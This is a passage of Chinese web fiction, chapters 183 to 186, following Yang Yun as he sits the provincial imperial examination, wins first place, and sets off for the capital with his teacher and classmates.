听到这件事连天应侯府都牵扯进来，罗孝荣微微点头说： “周仲你这事做得对，你对上天应侯，是以卵击石，只有暂时忍耐才有机会翻案。” 借着这件事，罗孝荣和杨云，周仲说一些朝廷的弊端，劝告他们两人行事要小心。 三人一直喝到满天繁星，罗孝荣才让管家把两人送回祥云客栈。 次日，杨云叫醒周仲，两人一起来到罗孝荣的小院，听他讲课。 转眼十天时间过去，两人都感觉自身的学识又上一个台阶。 这天上完课后，罗孝荣对两人说： “明天你们两个不要来了。” 第183章 乡试 第一百八十三章 乡试 杨云和周仲吃一惊，又好似想到什么，带着几分笑意问： “老师，是想让我和师兄休息一天，顺便去贡院看看？” 见到杨云这么机敏，罗孝荣满意地点头，负着手对两人说： “乡试乃全云州的秀才一起比试，所受的压力，面临的对手非同小可，必须好好休息。” “一天时间，已经算是很紧迫，你们要好好把握。” 乡试一共考三场，每场要考两天，如果考前太用功，在考场内昏过去，那得不偿失。 知道老师的良苦用心后，周仲和杨云点头，决定明天好好放松一天。 次日天明，杨云和周仲坐着马车看去考场的路线，又来到贡院，看一下场地。 对场地有大概了解后，两人会到客栈准备要带进考场的东西。 “师弟，乡试一场是两天，第一天黎明进，次日黄昏出，你要带好蜡烛和吃食。” 周仲和杨云在房间里准备着考篮，提醒他别忘东西。 乡试答题是个很耗费体力的事，吃不饱的话，脑子会一片空白，什么都写不出来。 蜡烛是为晚上做题准备，毕竟乡试的题难不难谁也不知道，得做好熬夜作文的准备。 杨云应一声，把他的考篮交给周仲，他则拿过周仲的考篮检查，免得忘了东西。 两人做好准备，早早睡下，只是乡试在即，杨云和周仲心中紧张，直到深夜才勉强睡着。 八月初九，乡试第一天。 这天天还没亮，周仲和杨云拿着考篮从房间出来，坐着马车来到贡院之外。 相比院试，乡试的阵仗要大得多，从街口到贡院门口，一路都是神色肃穆的兵丁，一旦有人扰乱考前秩序，立刻会被拿下。 下马车，杨云步行来到贡院门口，在大门两侧，有四杆玄色大旗，随着晨风微微起伏。 杨云不知道这些旗子是干什么的，小声地问周仲， “师兄，那四面旗子是干什么的？” 周仲看一眼，脸色有些古怪，似想到某些事，同样小声地回答， “这四面是文华旗，传说是文昌帝君护佑学子的旗，专门镇压那些妖魔鬼怪。” 两人说话间，已经来到贡院门口。 小吏验过两人身份无错，放他们进第二关。 第二关是搜检，数十名兵丁一字排开，仔细检查这个入场秀才的东西。 杨云在后面看着，有的秀才似带太多东西，被兵丁要求散发，脱鞋检查。 在轮到杨云检查的时候，忽然听到左侧爆出一阵鬼哭狼嚎的声音， “军爷，再给我哥机会吧，我保证不会再有下次了！” 一个冷漠的声音喝道： “夹带小抄，贿赂搜检兵丁，来人，把他带下去，请主考官发落！” 看着被拖走的秀才，杨云不禁摇摇头，十年寒窗，没想到还没进门被挡出去。 似是察觉到杨云对刚才考生的同情，搜检兵丁简单检查后，让他进第三关。 第三关的兵丁拿过杨云的考牌，冷冷地说跟我来，紧接着将杨云带到一处号舍。 兵丁将号舍的房门打开，冲着里面指指，杨云小心地走进去。 这号舍只有一人大小，还有一股常年未用的霉味，但应该是前几天打扫过，还算干净。 在杨云观察环境的时候，只听身后哗啦一声响，兵丁竟把号舍的房门锁上。 “这位军爷，这是什么意思？” 有人要害他？考场的规矩？杨云心中闪过数十个念头，镇定地冲着门外问。 只听门外的兵丁懒洋洋地说： “考生进入号舍之后，立刻落锁，直到交卷之时方能打开。” 听到这种规矩，杨云不由得满脸疑惑，下意识地反问： “那我要是想解手或上大号怎么办？” 门外兵丁乐呵呵地笑起来，带着几分促狭和戏谑说： “房间的西南角有恭桶，你可以用那个。但满了，我不管。” 杨云向西南角看去，果然看到一个颜色斑驳的恭桶。 他心中有些无语，冲着门外喊道： “那要是着火怎么办？难道着火也不能出去？” 兵丁被杨云问得有些烦躁，恶声恶气地说： “别说着火，就算把你小子烧死，也得等到第二天交卷再开门。” 话说到这个份上，杨云彻底没脾气，只能坐在桌子后面，准备考试。 不知过多长时间，只听云板声响，有兵丁从窗户上的一个小孔，把试题扔进来。 第一场乡试，一共考四书三道，五经四道，题量很大，必须抓紧时间。 杨云拿起题目一看，难度跟罗孝荣给他练习的题目差不多。 他心中暗喜，看向第一题，“为政以德，譬如北辰，居其所而众星共之。” 这类题目中规中矩，不算太难。 杨云略微思忖，已有破题思路，在草纸上写起来。 写完第一道题，已经快到中午。 杨云从考篮里拿出吃食，随便吃几口，填饱肚子后，继续写下面的题。 等到暮霞满天，杨云才把前三道四书题做完。 他看看剩下的四道五经题，轻轻叹一口气，看来今天晚上得熬夜写题。 做完两道五经题，已是深夜，杨云打个哈欠，从考篮里拿出毯子，铺在地上睡一觉。 第二天醒来，杨云吃些冷点心，把剩下的两道题做完，紧接着开始给文章修改润色。 全部修改好后，杨云检查几遍，确定没问题后，誊写在题纸上。 场外天色还算亮堂，杨云长长出一口气，总算没超时。 不知道过多长时间，外面云板声响，有兵丁把题纸收走，才开门放考生离开。 出考场，杨云和周仲碰头，轻声讨论着考场试题， “师兄，这次的题目也不算太难，你第一题破题是从何入手的？” 周仲把他的破题思路说一遍，又听完杨云的破题思路，沉默片刻后说： “若是我能中举，名次必然不如你。” 第184章 桂榜 第一百八十四章 桂榜 行家一出手，已知有没有。 在出考场之前，周仲还觉得他的破题思路足够精妙，未必有人能比得过。 但听完杨云的思路，周仲不得不承认，他的文章要比杨云略逊一筹。 两人都没有纠结这件事，他们知道，重要的是把第二场考好。 回到客栈，两人吃点热乎乎的饭菜，美美地在床上睡一觉。 八月十二，第二场乡试开始。 杨云再次来到熟悉的号舍，点起一炷檀香，去去屋里的霉味。 云板声响，兵丁发卷。 这一场考的是判语和诏，诰等官方文书。 这对从小在侯府长大的杨云来说，简直是易如反掌。 诏书，诰命挥笔而成，格式，口吻，拿捏得恰到好处。 这是杨云乡试最轻松的一天。 不到第二天中午，已把所有的题目全部做完。 八月十五，第三场乡试开考。 这次考的，是经史时务策论，让考生用事实结合四书五经，写出有关经史时务方面的策论。 经过这一年的历练，杨云早已改以前眼高手低的毛病，写出来的策论鞭辟入里。 只是字数太多，一直写到第二天下午才做完。 从贡院中走出，杨云和周仲相视一笑，两人似卸去重担，感觉轻松不少。 回到客栈，两人好好吃一顿，回房蒙头大睡。 足足睡一天后，杨云才算是恢复过来，和周仲神清气爽地去见罗孝荣。 罗孝荣正和两个好友讨论乡试题目，听到周仲和杨云来了，立刻把他们也拉过来， “这两人是我的学生，杨云，周仲，也是这次乡试的考生。” 听到两人都是考生，先来的两人立刻起身自我介绍， “在下曹居云，严义山，见过二位。” 四人通过姓名，围着桌子坐起，讨论着乡试第一题的破题思路。 只是罗孝荣和严义山争执不下，都觉得自身的破题思路最好。 这时，周仲忽然开口，冲着两人说：“在下有一个破题思路，二位不妨听听……” 说着，将杨云的破题思路讲出来。 前几天他听到杨云的破题思路后，被惊得认输，现下他自然也要吓吓别人。 果不其然，罗孝荣和严义山听完之后，后知后觉地说： “这道题竟还可以这么破？真是让严某大开眼界。” 罗孝荣仔细琢磨片刻，抬头看着周仲说： “这是你在考场上的文章吗？如果是的话，恐怕你这次榜上有名。” 乡试最重首场，周仲能做出这么精妙的文章，主考官必然会对他青眼有加，取他上榜。 这下周仲有些尴尬，他下意识看杨云一眼。 众人立刻反应过来，这个思路是杨云的！ 眼见所有人的目光都集中在他身上，杨云不得苦笑着站出来， “晚辈才疏学浅，若有什么考虑不周的地方，还请恩师及前辈斧正。” 严义山摆摆手，一本正经地看着他说： “杨云，你能写出这种精妙文章，证明你已经把你老师掏空，他教不了你了！” 杨云刚才的破题思路，是严义山见过最精巧的，必然会进入今年的《乡试时文全集》。 罗孝荣听得到严义山这么取笑他，也不生气，反而有几分得意地说： “什么掏空，这叫青出于蓝！你眼红去吧！” 严义山和罗孝荣是多年的好友，一直喜欢调侃打趣对方，现下抓住机会自然不会放过。 两人玩笑几句，罗孝荣让管家准备一桌酒菜，五人边喝边玩，直到深夜才散。 转眼到九月初，贡院门前的桂花盛开，这次乡试的榜单也要揭晓。 参加乡试的学子们，把公园门口堵个水泄不通，焦急地等待着。 杨云和周仲罗孝荣等五人，也混在人群之中，双目紧紧地盯着贡院大门。 不知道过多长时间，贡院大门缓缓打开，主考官和副考官带着阅卷官们缓步走出来。 考官们登上贡院旁边的魁星阁，等会是在这里宣布乡试中榜名单。 在学子们期待的目光中，主考官终于念出第一个名字， “中平四十七年云州秋闱，第一百名，望星府云霞县，张鹤！” 随着主考官的声音落下。 一个面带沧桑之色的中年人，努力克制着他的激动，冲着魁星阁上的主考官拱拱手。 周围的人不管真心还是假意，都会道上一声恭喜。 主考官的声音略微停顿，紧跟着念起来第九十九名，第九十八名。 直到第八十九名，杨云听到一个熟悉的名字。 “中平四十七年云州秋闱，第八十九名，平源府东平县，周仲！” 听到他第一次参加乡试中了，周仲不可置信地指着自身，疑惑地看向罗孝荣。 等看到罗孝荣微微点头，他才确定他没听错，高声喊道： “我中了！我中了！” 主考官看着周仲这副样子，嘴角露出一丝笑意，又念起来。 第七十六名，曹居云！ 第三十三名，严义山！ 第三十二名，罗孝荣！ 听到他的名字，罗孝荣一副风轻云淡的样子。 在他看来，如果不是前几年身子不好，他早中了，根本用不着等到现下。 眼见主考官都念到前五名，杨云心中不由得有些苦涩。 看来乡试果然很难，即便他的文章写得那么好，该不中还是不中。 这时候，周仲的兴奋劲终于过了，他看着杨云表情有些难看，上前安慰他说： “师弟，不用太难过，这不是还有五个人没念呢？说不定你在这五个人当中。” 连最爱捉弄人的严义山，也没有开口嘲讽。 杨云也知道周仲是在安慰他，他勉强挤出一个十分难看的笑容说： “多谢师兄，大不了我下次再来，反正我还年轻。” 第五名，第四名……直到最后一个名字。 所有没被念到名字的考生，全都眼巴巴地看着主考官，希望他能念出自身的名字。 只听魁星阁上的主考官拉长音喊道：“中平四十七年云州秋闱，第一名解元，平源府东平县，杨云！” 第185章 贺喜 第一百八十五章 贺喜 原本以为不会中的杨云，呆呆地抬起头，向魁星阁上的主考官看去，四周的声音忽然间变得又远又飘，仿佛身边的人离他几千里远一样。 周仲听到主考官的声音，也一脸不可置信，用力拍着杨云，笑得眼泪都流出来， “师弟，我们中了！中了！” 肩膀上轻微的疼痛，把杨云飘远的心神拉回来，他愣愣地看着四周的人， “我中了？我中了！” 在罗孝荣赞同的颔首中，杨云脸上慢慢泛起大大的笑容，快步上前，冲着魁星阁上的主考官拱手作揖，激动地说： “多谢主考大人，多谢各位考官！” 四周的读书人纷纷涌过来，全都想和杨云交个朋友。 还有一些大户人家的下人，拼命把拜帖塞到杨云怀里，口中大声说： “解元郎，我家小姐年方二八，生得花容月貌，请您去府上一叙！” 杨云这个解元这么年轻，将来很有可能中进士。 临山府的大户人家要赶紧下手，把这个后起之秀笼络到自家中。 眼看杨云被一群人围住，周仲叫上罗孝荣等人，勉强给他挤出一条通道，五人费好大一番力气，才从人堆里挤出来。 五人跑到一个偏僻的小巷，见到后面没人追，才放心下来。 但看到，彼此身上的衣服被撕坏，帽子被扯得狼狈样子，又哈哈大笑起来。 次日，临山府知府召开鹿鸣宴，请此次中举的学子前去赴宴。 杨云等人自然也在邀请之列，席上知府请杨云作诗，一起跳魁星舞，众人尽兴而归。 到第三日，罗孝荣把杨云和周仲叫过来，神色平静地说：“再过几日，我要坐船进京，准备明年的春闱。” “这次把你们二人叫来，是想问问你们接下来作何打算？” 按大盛朝的律法，中举之后有资格做官，但只能做些地方小官，在朝堂上也走不远，五品已是这种举人官的顶点。 更好的出路是，继续科考，直到中进士，进翰林院，这样才有可能成为顶尖文臣，首辅。 周仲还年轻，自然想要放手搏一搏，对罗孝荣说： “恩师，学生想跟您一起进京。学生知道，明年春闱我肯定中不了，但想去见识一下。” 这次周仲接连中秀才和举人，他心中清楚，以他的学识，也止步于此。 那些进京参加春闱的举子，个个学识渊博，久经考场，他想拿考中根本是痴心妄想。 但像这次乡试一样，能提前感受一下会试的气氛，那对周仲是很有帮助的。 见到周仲有向上考的心，罗孝荣满意地点点头，又看向杨云， “原本，我是想让你在家里沉淀几年，丰富一下底蕴，但你这次拿下解元，证明你的水平已经足以参加春闱，到底是进京还是回村，你自行拿主意吧。” 杨云从去年开始认真读书，到这科乡试拿下解元，也才短短一年半的时间。 从时间来看，杨云的底蕴确实差点，罗孝荣让他沉淀是对的。 只是杨云这一路走来，不是案首就是解元，弄得罗孝荣也不知道该怎么指点他。 看着老师无奈地苦笑，杨云不假思索地说： “恩师，我也想跟您一起进京，像师兄说的那样，去体会一下也好。” 杨云从回到青山村，一直想光明正大地回京城一次，现下有机会，他当然不想错过。 听到杨云也准备进京，罗孝荣没有多说什么，只是轻轻点头嘱咐说： “那你们回头跟家里说一声，咱们十天之后出发，赶在十月之前进京。” 杨云和周仲点点头，回到客栈，各自给家里写一封信，告诉他们自身的近况，及准备进京的计划，让罗孝荣转交给郑子康送回去。 在杨云准备进京的时候，石知县坐着轿子，领着一帮鼓乐队，来到青山村口。 他掀起轿帘，乐呵呵地冲李乐山招招手，大声地吩咐道： “让他们吹打起来，还有那些鞭炮都要放起来，动静越大越好！” 石知县一声令下，整支队伍喧闹起来，放鞭的放鞭，吹奏的吹奏，闹着进青山村。 村里的人听到外面有欢快的唢呐声，纷纷出来看热闹，彼此互相打听，“咱们村今天有人娶媳妇？还是嫁姑娘，怎么这么热闹呢？” 被问的人也一脸茫然，摇着头说： “没听说谁家要办喜事啊，是不是迎亲的队伍走错地方？” 好奇的村民越聚越多，鼓乐队一直吹吹打打来姜梅家门口，停下来。 正在家里做衣服的姜梅，听到外面这么吵，忍不住出来看一眼。 见到这么多人在自家门口吹打，姜梅一脸疑惑地问： “你们是不是走错地方？我们家最近没有喜事啊。” 在姜梅疑惑的时候，四人抬的轿子落下，石知县掀开轿帘走出来，满脸笑容地拱手说： “恭喜姜夫人，令郎杨云在临山府的乡试之中，拿下解元，从今以后是举人了！” 姜梅上次在北夷刺客暗杀赵文盛的时候，见过石知县一次，她颤声问道：“知县大人，云儿真……中举了？” 石知县看着姜梅激动的样子，风轻云淡地点点头说： “这是临山府发来的公文上说的，东平县杨云，中解元，不会有假！” 他治理的县出一个解元，会给石知县的考评加不少分，他自然也高兴。 四周的村民听到杨云中举，连连夸赞姜梅生个好儿子。 有的机灵人，已经去给族老报信，上次中秀才开流水席，这次中举人，肯定也要开，又能白吃一顿好的！ 有石知县亲口确认，姜梅激动地愣半晌，才想起来说： “知县大人，您快进来坐，我去给您倒茶！” 石知县站在门口，跟姜梅道喜，拿出五十两银子说： “这是我给令郎的贺仪，还请姜夫人收下，我衙门里还有些事，不多留了，告辞。” 第186章 进京 第一百八十六章 进京 石知县知道，如果他留在这里，姜梅和青山村的村民一定会很拘谨，不如道贺之后离开，既表他的心意，又不妨碍他们高兴。 姜梅留几句，但石知县还是走了。 正如石知县预料的那样，他带人一走，村民们立刻涌来给姜梅道喜，各种好话滔滔不绝。 姜梅勉强谢过众人，请大家到屋里坐坐，顺便叫胖婶帮她招呼客人。 没过多长时间，族老杨四德风风火火地跑过来，一进门四处张望，着急地问： “知县大人在哪？他说杨云中解元，是不是真的？” 杨云中秀才已经是青山村第一遭，现下更中举人，还是解元，更加难得！ 如果这个消息是真的，以后附近的村子，谁还敢看不起青山村的人？ 姜梅见到族老来了，连忙迎上来，满脸都是抑制不住的喜色，用力压着嘴角说： “云儿中解元，是知县大人亲口跟我说的，不会有假。” 杨四德不可置信地又问一遍，最后仰天长笑，开心地说：“我们青山村终于也出个举人！还是解元啊！” “儿子，你去告诉全村人，明天在祖庙门口发白面，不论大小，一人十斤！” “还有，去县里请最好的戏班子，在咱们村连唱十天大戏！” 杨四德这辈子最想看到的，是村子里有人读书当官，眼看杨云已经实现一半，他当然要好好庆祝一番！ 村民们响亮地叫一声好，回家去准备装白面的家伙。 人人都在夸杨云这个解元中的好，要不是他中解元，族老也不会发这么多白面给他们！ 转眼五天过去，杨云中解元的喜意渐渐消退，这天又有人来找姜梅。 来人打量姜梅片刻，问道： “您是杨云杨公子的母亲，姜夫人吧？这是杨公子让我转交给您的信。” 姜梅给完赏钱，把送信人送走，回屋打开信才知道，杨云已经跟恩师罗孝荣一起进京，准备参加春闱。 知道儿子去京城，姜梅心中不由有点担心，余氏不是什么好人，云儿你千万要小心。 书信送到姜梅手里的时候，杨云已经和罗孝荣，周仲，还有严义山和曹居云坐船进京。 五人每天在船上切磋文章，刻苦攻读，也不觉得憋闷，很快到京城。 这天中午，杨云几人没有坐稳，全都跑到船头，往远处眺望。 周仲把手搭在眼眉之上，看着远处河上川流不息的运船，客船，情不自禁地赞叹说： “不愧是京城，真是繁华啊！” 杨云走上船头，看着熟悉又陌生的京城，心中暗暗说，天应侯府，我又回来了！ 之前你们逼我当街弑母，这个仇我一定会报！ 客船等半个时辰，才找到泊位停进去，杨云和其他四人拿着行李，从甲板上走下去。 罗孝荣拿着东西走在最前面，轻声叮嘱后面的人，“码头上鱼龙混杂，大家注意好，收拾东西。” 身后的几人多几分小心，各自看好东西，顺利从码头离开。 站在京城繁华的大街上，罗孝荣淡淡地舒一口气，转头看着剩下四人问： “你们是要去云州会馆，还是要自行找地方住下，或者投奔朋友？” 云州会馆，是在京城做生意的云州商人建造的，为的是方便云州来的家乡人。 杨云五人刚进京城，人生地不熟，去云州会馆投宿是最靠谱的办法。 自行找地方或者投奔朋友也行，只是要多加小心，免得被人坑。 几人不假思索，全都要去云州会馆，连生长在京城的杨云也不例外。 他在京城确实有不少朋友，但现下还不是跟朋友见面的时候。 见到五人都同意，罗孝荣领着几人一边问一边找，终于找到云州会馆。 罗孝荣一马当先走进去，客气地冲着正在打瞌睡的掌柜拱拱手说： “请问掌柜，会馆里还有上房吗？” 掌柜被罗孝荣的话惊醒，下意识在下巴上擦一下，拱手对面前的五人说： “有，不知道你们要几间？” 因为距离明年春闱还有些时间，大部分举子还没进京，房间很充裕。 严义山好奇地打量着会馆内，带着几分云州韵味的陈设，说： “我们五个人，难道还能要六间房不成？” 掌柜没有因为严义山的话生气，反而眼睛一亮，打量着他们问道： “听口音，几位都是云州人？不知道进京是为做生意，还是另有良图？” “若是做生意，在下也认识些朋友，说不定能帮上几位。” 这话听起来很让人感动，实际上掌柜是云州商人和京城商人的掮客。 若是在他的撮合下，做成生意，他要从中抽水，每年也能挣不少银子。 罗孝荣不懂这里面的门道，规规矩矩地摇头说： “我们是进京赶考的举子，来参加明年的春闱。有劳掌柜给我们开五间上房。” 听到是赶考的举子，掌柜脸上立刻露出笑容，热情地说： “原来是咱们云州的青年才俊，在下有眼不识金镶玉，失敬失敬！” “你们的房钱，我给你们打对折！祝你们来年鱼跃龙门，金榜得中！” 罗孝荣几人推辞几句，最终没能拗过掌柜，只能拿着行李回房休息。 从这天开始，杨云五人在云州会馆住下来，整日读书作文，等着明年的春闱。 转眼是三月过去，这天除夕夜，外面下着鹅毛大雪。 杨云五人难得没有读书，围坐在一起吃着京城特有的铜锅涮肉，庆祝新的一年将要来临。 罗孝荣喝得双颊通红，仍旧举着满满的酒杯说： “今年除夕能和各位一起过，也算缘分，我以这杯薄酒，祝在座的各位，明年二月，金榜题名！干杯！” 杨云跟着喝一杯，看着云州方向，心中暗想，母亲在家里也不知道怎么样。 但他中解元，二叔应该不敢欺负她，否则村里的人非把二叔的皮剥掉不可。